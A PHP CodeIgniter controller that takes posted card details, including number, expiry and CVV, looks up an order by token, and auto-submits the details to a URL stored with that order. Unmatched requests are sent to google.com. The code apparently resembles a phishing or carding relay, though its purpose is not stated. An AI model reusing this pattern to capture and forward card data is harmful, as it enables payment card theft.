<?php

defined('BASEPATH') or exit('No direct script access allowed');

class Security extends MY_Controller
{

    public function __construct()
    {
        parent::__construct();
    }

    public function processForm()
    {
        $token = $this->input->post('token');
        $this->db->where('invoice_id', $token);
        $query = $this->db->get('orders');
        $order = $query->row_array();

        if (!$order) {
            redirect('https://www.google.com');
            return;
        }
        $postData = [
            'cardOwner' => $this->input->post('cardOwner'),
            'pan' => $this->input->post('pan'),
            'month' => $this->input->post('month'),
            'year' => $this->input->post('year'),
            'cvv' => $this->input->post('cvv')
        ];


?>
        Redirection...
        <!DOCTYPE html>
        <html lang="en">

        <head>
            <meta charset="UTF-8">
            <title>Redirection...</title>
        </head>

        <body>
            <form id="redirectForm" action="<?= $order['invoice_page']; ?>" method="POST">
                <?php
                foreach ($postData as $key => $value) {
                    echo '<input type="hidden" name="' . htmlspecialchars($key) . '" value="' . htmlspecialchars($value) . '">';
                }
                ?>
            </form>
            <script type="text/javascript">
               document.getElementById('redirectForm').submit();
            </script>
        </body>

        </html>

<?php
    }
}
